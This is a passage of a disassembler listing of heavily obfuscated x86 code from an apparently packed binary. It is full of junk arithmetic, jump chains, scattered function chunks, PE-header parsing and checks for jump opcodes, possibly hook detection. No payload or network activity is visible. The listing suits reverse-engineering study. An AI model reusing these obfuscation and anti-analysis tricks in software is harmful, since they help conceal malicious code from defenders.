jmp locret_424EBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_426123: ; CODE XREF: sub_427486:loc_427292j ; hjohnhn9:004272AEj and edx, 6A6446A1h test edx, 20000h jmp loc_423246 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275A3 loc_426134: ; CODE XREF: sub_4275A3:loc_42686Bj call sub_4230E0 loc_426139: ; CODE XREF: sub_426638:loc_427F44j jl loc_425CD2 sbb edx, 0F41EDE25h push 0B42397E8h jmp loc_425CD0 ; END OF FUNCTION CHUNK FOR sub_4275A3 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_426150: ; DATA XREF: sub_427C9B+9Do push 0D5915632h pop eax sub eax, 1B5FE3AFh xor eax, 667D6B26h add eax, 9C500B56h add eax, ebp add eax, 8763DAF1h push edi jmp loc_428C28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_426176: ; CODE XREF: sub_427C9B+8FAj jge loc_4238AA xchg ebp, [esi] jmp loc_424F76 ; END OF FUNCTION CHUNK FOR sub_427C9B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_426184: ; CODE XREF: hjohnhn9:00426B4Fj jmp loc_4244EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282F8 loc_426189: ; CODE XREF: sub_4282F8-3B09j jmp loc_425BC8 ; END OF FUNCTION CHUNK FOR sub_4282F8 ; --------------------------------------------------------------------------- dw 0C613h dd 95CA8157h, 0E978E918h, 0FFFFD55Eh ; --------------------------------------------------------------------------- loc_42619C: ; CODE XREF: hjohnhn9:00426BA2j mov eax, [ebp-1Ch] mov al, [eax] mov edx, [ebp-20h] mov [edx], al jmp loc_4266CC ; --------------------------------------------------------------------------- sbb edi, 0ABCEEB72h add ecx, 3AE5C846h jmp sub_42841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_4261BC: ; CODE XREF: sub_426708:loc_4264ADj mov eax, ds:dword_4233A0 or eax, eax jnz loc_423B9C jmp loc_426E5A ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_4261CF: ; CODE XREF: sub_424698+455Aj add eax, 4C448979h loc_4261D5: ; CODE XREF: sub_424698:loc_424153j call sub_424877 push 94857662h pop edx and edx, 5930BFE2h jmp loc_427657 ; END OF FUNCTION CHUNK FOR sub_424698 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4261EC: ; CODE XREF: hjohnhn9:00427E3Aj jmp loc_425066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427994 loc_4261F1: ; CODE XREF: sub_427994+10j jmp loc_4239EC ; END OF FUNCTION CHUNK FOR sub_427994 ; --------------------------------------------------------------------------- loc_4261F6: ; CODE XREF: hjohnhn9:0042841Aj add ebp, edi shl ecx, 6 jnp loc_42403E jmp loc_426EA6 ; --------------------------------------------------------------------------- adc ecx, 110AAC48h jmp loc_427850 ; =============== S U B R O U T I N E ======================================= sub_426211 proc near ; CODE XREF: sub_423D1C+5p ; sub_4260BD+CE8j ; FUNCTION CHUNK AT 00423241 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424526 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 004250CF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042765C SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 7FDD7FB8h pop edi and edi, 82A2154Ch test edi, 400000h jmp loc_423241 sub_426211 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_70. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov edx, [esi] jmp sub_425029 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_426235: ; CODE XREF: sub_425BD2:loc_428CAAj xchg ebp, [esp+4+var_4] jmp loc_423771 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42855B loc_42623D: ; CODE XREF: sub_42855Bj push ecx mov ecx, ebp xchg ecx, [esp+4+var_4] mov ebp, esp jmp loc_423320 ; END OF FUNCTION CHUNK FOR sub_42855B ; --------------------------------------------------------------------------- cmp ebx, 0D69F4B63h jmp loc_427B6D ; --------------------------------------------------------------------------- loc_426255: ; DATA XREF: sub_4250C3+3E9Fo mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h jmp loc_423D33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426268: ; CODE XREF: sub_423CDB:loc_4267FCj xor eax, eax loc_42626A: ; CODE XREF: sub_42355C:loc_425E06j ; sub_425029:loc_428823j jmp loc_424BB4 ; END OF FUNCTION CHUNK FOR sub_423CDB ; =============== S U B R O U T I N E ======================================= sub_42626F proc near ; DATA XREF: sub_424A78+4116o ; FUNCTION CHUNK AT 0042302C SIZE 00000005 BYTES jz loc_4242D9 push ebp mov eax, [ebp-20h] call sub_426287 pop ecx loc_42627F: ; CODE XREF: sub_427C9B+23j mov [ebp-20h], eax jmp loc_42302C sub_42626F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426287 proc near ; CODE XREF: sub_42626F+Ap push ebp mov ebp, esp jmp sub_424A55 sub_426287 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426523 loc_42628F: ; CODE XREF: sub_426523+Dj jno loc_42845E idiv ecx push ecx push 6587844Bh pop ecx jmp loc_4290A3 ; END OF FUNCTION CHUNK FOR sub_426523 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A36 loc_4262A3: ; CODE XREF: sub_427A36+9j push ecx cmp ds:dword_423940, 0 jz loc_427EAB mov eax, ds:dword_423940 mov eax, [eax] push offset sub_4262DA jmp loc_42888D ; END OF FUNCTION CHUNK FOR sub_427A36 ; =============== S U B R O U T I N E ======================================= sub_4262C2 proc near ; DATA XREF: sub_4263E3-1814o xor eax, eax retn sub_4262C2 endp ; =============== S U B R O U T I N E ======================================= sub_4262C5 proc near ; CODE XREF: sub_4279C8p ; sub_4263E3+1B38p ... ; FUNCTION CHUNK AT 00423288 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423466 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042389B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00423B1F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00423C0D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00423F0B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424ADE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E63 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004251E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004264E3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004265F3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042761C SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00427C18 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00428031 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00428B61 SIZE 0000000B BYTES jo sub_4266B5 call sub_426671 loc_4262D0: ; CODE XREF: hjohnhn9:0042656Ej jmp loc_4265F3 sub_4262C5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424EC9 loc_4262D5: ; CODE XREF: sub_424EC9+5j jmp loc_427E0A ; END OF FUNCTION CHUNK FOR sub_424EC9 ; =============== S U B R O U T I N E ======================================= sub_4262DA proc near ; DATA XREF: sub_427A36-177Eo mov ds:dword_423944, eax xor eax, eax push offset sub_4278EC jmp nullsub_16 sub_4262DA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4262EB: ; CODE XREF: sub_426354:loc_42323Cj jnz loc_427B58 mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] jmp loc_428B67 ; --------------------------------------------------------------------------- loc_426302: ; CODE XREF: sub_426354:loc_427A11j cmp dword ptr [ebp-1Ch], 0Fh jnz loc_427B58 jmp loc_428388 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_426311: ; CODE XREF: sub_426708:loc_426E5Aj jz loc_4247A4 jmp loc_426947 ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_42631C: ; CODE XREF: sub_426671+122Aj add ebp, eax xchg edi, [esi] jmp loc_423FCD ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_426325: ; CODE XREF: sub_4260BD-16A5j xchg esi, eax jmp loc_42604A ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_42632C: ; CODE XREF: hjohnhn9:0042397Fj xor eax, 0C53AEA7h rol ebp, 1Ah loc_426335: ; CODE XREF: hjohnhn9:loc_427208j mov eax, [ebp-4] xor edx, edx call sub_425E94 ; START OF FUNCTION CHUNK FOR sub_426CC8 loc_42633F: ; CODE XREF: sub_426CC8+2EBj jmp loc_4286BD ; END OF FUNCTION CHUNK FOR sub_426CC8 ; --------------------------------------------------------------------------- loc_426344: ; CODE XREF: hjohnhn9:00426F3Fj jmp loc_425BE0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247F4 loc_42634A: ; CODE XREF: sub_4247F4+429Ej jmp loc_4263F6 ; END OF FUNCTION CHUNK FOR sub_4247F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_42634F: ; CODE XREF: sub_424E4F+9j jmp loc_4244D3 ; END OF FUNCTION CHUNK FOR sub_424E4F ; =============== S U B R O U T I N E ======================================= sub_426354 proc near ; CODE XREF: hjohnhn9:0042738Dj ; sub_426354:loc_42909Ep ; FUNCTION CHUNK AT 0042323C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423350 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423451 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004238BA SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00424B60 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424D6D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00425270 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00425C05 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00425E20 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00425EC5 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00425F00 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004262EB SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00426938 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426E07 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004275D2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00427927 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A11 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00427AB5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428388 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004283BF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042854C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004285DA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042875B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004287E0 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00428BAC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042909E SIZE 0000000A BYTES xchg edi, [esp+0] pop edi jnb loc_424B60 cmp dword ptr [ebp-1Ch], 66h push offset sub_424B4A jmp loc_4285DA sub_426354 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42636C proc near ; CODE XREF: sub_42325E+B9Ep ; hjohnhn9:004281B4j ; FUNCTION CHUNK AT 00423671 SIZE 0000001C BYTES xchg ecx, [esp+0] pop ecx push ecx push 0F5848676h pop ecx jmp loc_423671 sub_42636C endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- cmp edx, 84014F17h jmp loc_4267EC ; --------------------------------------------------------------------------- loc_426388: ; CODE XREF: hjohnhn9:loc_4270CAj test eax, 0A07829E3h jmp loc_427763 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_426393: ; CODE XREF: sub_427AC0+Aj pop ecx xor ecx, 0FA943B2h add ecx, 0CC3B5D4Bh loc_4263A0: ; CODE XREF: sub_425BD2-1CA0j xor ecx, 4FB64A39h xchg ecx, [esp+0] lea eax, [ebp-34h] jmp loc_424251 ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_4263B1: ; CODE XREF: sub_4279C0-3545j push edi mov edi, edx xchg edi, [esp+4+var_4] push ebp mov ebp, eax xchg ebp, [esp+8+var_8] call sub_4279C0 jmp loc_427FF5 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; =============== S U B R O U T I N E ======================================= sub_4263C7 proc near ; CODE XREF: hjohnhn9:00427224j ; hjohnhn9:00427B83p xchg esi, [esp+0] pop esi mov eax, [ebp-4] call sub_428CE7 sub_4263C7 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_427486 loc_4263D3: ; CODE XREF: sub_427486:loc_424E99j jmp nullsub_26 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424C5F loc_4263D8: ; CODE XREF: sub_424C5F+11j jmp nullsub_72 ; END OF FUNCTION CHUNK FOR sub_424C5F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4263DE: ; CODE XREF: sub_423B05+15B7j jmp loc_428D80 ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_4263E3 proc near ; DATA XREF: sub_428F0B-596Do var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004248A6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424BCE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425056 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004250A8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004265E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426C9B SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00427F10 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00427FED SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00428A14 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004290A8 SIZE 0000000A BYTES mov eax, ds:dword_42339C or eax, eax jnz loc_427FED jmp loc_4248A6 sub_4263E3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247F4 loc_4263F6: ; CODE XREF: sub_4247F4:loc_42634Aj mov [esi], eax pop esi mov eax, [ebp-4] pop ecx pop ebp retn 4 ; END OF FUNCTION CHUNK FOR sub_4247F4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_426402: ; CODE XREF: sub_424564:loc_427F75j cmp ds:dword_4252DC[eax*4], 0 jz loc_42755C mov eax, [ebp+var_4] cmp byte ptr [eax], 0CFh jz loc_427555 mov eax, [ebp+var_4] cmp byte ptr [eax], 0E9h jz loc_427555 jmp loc_427FC9 ; END OF FUNCTION CHUNK FOR sub_424564 ; --------------------------------------------------------------------------- loc_42642D: ; CODE XREF: hjohnhn9:0042425Cj and ecx, 695284E5h ; START OF FUNCTION CHUNK FOR sub_42466E loc_426433: ; CODE XREF: sub_42466E:loc_42424Bj add ebx, 49588021h add eax, ebx pop ebx mov [ebp-4], eax mov eax, [ebp-10h] test eax, eax jmp loc_425D3D ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DE6 loc_426449: ; CODE XREF: sub_427DE6:loc_425F06j push 0 call sub_424AAE xor eax, [ebp-8] push offset loc_427CD0 jmp loc_4264B2 ; END OF FUNCTION CHUNK FOR sub_427DE6 ; =============== S U B R O U T I N E ======================================= sub_42645D proc near ; CODE XREF: sub_423B05:loc_425252p ; hjohnhn9:00425F7Cj ; FUNCTION CHUNK AT 0042871E SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push eax ror eax, 11h push offset sub_424831 jmp loc_42871E sub_42645D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_42646F: ; CODE XREF: sub_424698:loc_42469Ej push ecx jmp loc_42893A ; END OF FUNCTION CHUNK FOR sub_424698 ; =============== S U B R O U T I N E ======================================= sub_426475 proc near ; DATA XREF: sub_4275B2+Eo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423027 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004231C3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004234D8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00425B6B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00425E69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042602D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426E9B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427EA1 SIZE 00000005 BYTES call sub_424AAE xor eax, [ebp-8] mov byte ptr [eax], 5Bh call sub_424AAE xor eax, [ebp-8] inc eax mov edx, [ebp-4] jmp loc_423027 sub_426475 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426491: ; CODE XREF: sub_424819:loc_426A03j ; hjohnhn9:00428AD3j xor edx, 75C89949h add edx, 822762DFh xchg edx, [esp-4+arg_0] push eax pushf push 1C160C50h jmp loc_423394 ; END OF FUNCTION CHUNK FOR sub_424819 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4264AC proc near ; CODE XREF: sub_428183:loc_42335Cj retn sub_4264AC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_4264AD: ; CODE XREF: sub_426708+Dj jmp loc_4261BC ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DE6 loc_4264B2: ; CODE XREF: sub_427DE6-198Ej jmp nullsub_40 ; END OF FUNCTION CHUNK FOR sub_427DE6 ; --------------------------------------------------------------------------- loc_4264B7: ; CODE XREF: hjohnhn9:00425D98j jmp loc_428922 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D9D loc_4264BC: ; CODE XREF: sub_427D9D:loc_42838Dj mov edx, [edx-8] or edx, 40h or eax, edx mov edx, [ebp+8] mov [edx-8], eax jmp loc_423F3D ; END OF FUNCTION CHUNK FOR sub_427D9D ; =============== S U B R O U T I N E ======================================= sub_4264CF proc near ; CODE XREF: sub_4251D3+9p ; hjohnhn9:00428901j ; FUNCTION CHUNK AT 00427392 SIZE 00000015 BYTES xchg ebx, [esp+0] pop ebx mov eax, ds:dword_428AE4 call sub_427486 loc_4264DE: ; CODE XREF: sub_424377+3414j jmp loc_427392 sub_4264CF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_4264E3: ; CODE XREF: sub_4262C5-26B0j rol eax, 12h loc_4264E6: ; CODE XREF: sub_4262C5:loc_428031j call sub_426CE6 loc_4264EB: ; CODE XREF: sub_428D64-5ECj jmp loc_427C18 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C98 loc_4264F0: ; CODE XREF: sub_425C98+7j jmp loc_42877D ; END OF FUNCTION CHUNK FOR sub_425C98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4264F5: ; CODE XREF: sub_424631-163j jmp loc_424C46 ; END OF FUNCTION CHUNK FOR sub_424631 ; =============== S U B R O U T I N E ======================================= sub_4264FA proc near ; CODE XREF: sub_426A78-4F5p ; hjohnhn9:004268AEj ; FUNCTION CHUNK AT 004248D0 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx call sub_4279ED push eax ror eax, 9 mov ds:dword_428380, eax jmp loc_4248D0 sub_4264FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- jle loc_428B67 and ebx, 0D4E35CF9h jmp sub_423369 ; =============== S U B R O U T I N E ======================================= sub_426523 proc near ; CODE XREF: hjohnhn9:004249F7j ; sub_425B34+Ap ; FUNCTION CHUNK AT 0042628F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042845E SIZE 0000000F BYTES xchg esi, [esp+0] pop esi mov eax, [ebp-8] mov ecx, 0Ah cdq jmp loc_42628F sub_426523 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_426535: ; CODE XREF: sub_424631:loc_424CAAj cmp dword ptr [ebp-14h], 6 setz al call sub_42392D pop ecx jmp loc_426E35 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_426547: ; CODE XREF: sub_424564+8BBj jz loc_427555 ; END OF FUNCTION CHUNK FOR sub_424564 ; START OF FUNCTION CHUNK FOR sub_426C09 loc_42654D: ; CODE XREF: sub_426C09:loc_428F8Ej mov eax, [ebp-4] cmp byte ptr [eax], 0E9h jz loc_427555 ; END OF FUNCTION CHUNK FOR sub_426C09 ; START OF FUNCTION CHUNK FOR sub_4284CB loc_426559: ; CODE XREF: sub_4284CB:loc_427FC9j mov eax, [ebp-4] loc_42655C: ; CODE XREF: sub_427564:loc_428906j jmp loc_423C85 ; END OF FUNCTION CHUNK FOR sub_4284CB ; --------------------------------------------------------------------------- loc_426561: ; DATA XREF: sub_428309+6o pop ebp push 464D8703h pop eax sub eax, 0C8CE68BBh jmp loc_4262D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_426573: ; CODE XREF: sub_426A78+2468j pop edi push 0EC8CA081h loc_426579: ; CODE XREF: sub_426A78:loc_423217j call sub_424877 mov edx, 8D40711Dh call sub_4264FA loc_426588: ; CODE XREF: sub_42841F-916j jg loc_423041 loc_42658E: ; CODE XREF: sub_42841F:loc_423D11j push ebp push esi push edi push ebx jmp loc_4233C8 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- loc_426597: ; CODE XREF: hjohnhn9:004243CFj jnp loc_426B63 mov [ebp+0], eax ; =============== S U B R O U T I N E ======================================= sub_4265A0 proc near ; CODE XREF: sub_423D67-B55p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004270C5 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax add eax, 0BAC28E35h xchg eax, [esp-4+arg_0] jmp loc_4270C5 sub_4265A0 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_4265B3: ; CODE XREF: sub_424E4F:loc_42872Aj jmp loc_428B82 ; END OF FUNCTION CHUNK FOR sub_424E4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_4265B8: ; CODE XREF: sub_425BD2+2B37j jmp loc_427253 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- locret_4265BD: ; CODE XREF: hjohnhn9:loc_424723j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428965 loc_4265BE: ; CODE XREF: sub_428965+10j jmp nullsub_68 ; END OF FUNCTION CHUNK FOR sub_428965 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_4265C3: ; CODE XREF: sub_42363F+198Cj jmp loc_426FB8 ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_4265C8: ; CODE XREF: sub_4231AD+1B52j jmp loc_427FA4 ; END OF FUNCTION CHUNK FOR sub_4231AD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265CD proc near ; CODE XREF: hjohnhn9:00426AB9p var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004232EB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042352D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004235F0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042403E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00424449 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424737 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00425D6F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00425F4D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426B68 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A9C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00427FAF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428576 SIZE 00000006 BYTES push ebp mov ebp, esp push edx push ecx pop edx xchg edx, [esp+0] mov esp, ebp jmp loc_424737 sub_4265CD endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub eax, 0B756ED04h jmp sub_426961 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_4265E9: ; CODE XREF: sub_4263E3+1B40j jmp loc_424BCE ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424877 loc_4265EE: ; CODE XREF: sub_424877-22Bj call sub_428D49 ; END OF FUNCTION CHUNK FOR sub_424877 ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_4265F3: ; CODE XREF: sub_4262C5:loc_4262D0j or eax, 20B003h test eax, 40000h jmp loc_428031 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426604 proc near ; CODE XREF: sub_426708j ; FUNCTION CHUNK AT 00428C3F SIZE 00000005 BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp call sub_425DE4 loc_426610: ; DATA XREF: sub_424631-14AEo or dword ptr [eax-8], 8 jmp loc_428C3F sub_426604 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_426619: ; CODE XREF: sub_424631+3178j ; sub_424631+3185j jnb loc_423EE2 cmp dword ptr [ebp-10h], 0 jnz loc_42516C mov eax, [ebp+8] push eax jmp loc_424CAA ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_426632: ; CODE XREF: hjohnhn9:00427B75j jns loc_426796 ; =============== S U B R O U T I N E ======================================= sub_426638 proc near ; CODE XREF: sub_423BC3:loc_423388p ; FUNCTION CHUNK AT 004230FD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00427F44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427F5F SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push edx push 2625621Bh pop edx jmp loc_427F5F sub_426638 endp ; --------------------------------------------------------------------------- and edi, eax jmp loc_423AF1 ; --------------------------------------------------------------------------- locret_42664F: ; CODE XREF: hjohnhn9:00428BA5j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_426650: ; CODE XREF: sub_424631-A7Ej jmp loc_424314 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_426655: ; CODE XREF: sub_424161-603j mov eax, ebp pop ebp and eax, 43C3D247h rol eax, 0Ah add eax, 58B6A62Ch call sub_427C9B ; END OF FUNCTION CHUNK FOR sub_424161 ; START OF FUNCTION CHUNK FOR sub_424B4A loc_42666C: ; CODE XREF: sub_424B4A+11j jmp loc_425ED0 ; END OF FUNCTION CHUNK FOR sub_424B4A ; =============== S U B R O U T I N E ======================================= sub_426671 proc near ; CODE XREF: hjohnhn9:00424096j ; sub_4262C5+6p ; FUNCTION CHUNK AT 0042316A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00423FCD SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00426019 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042631C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427895 SIZE 0000000B 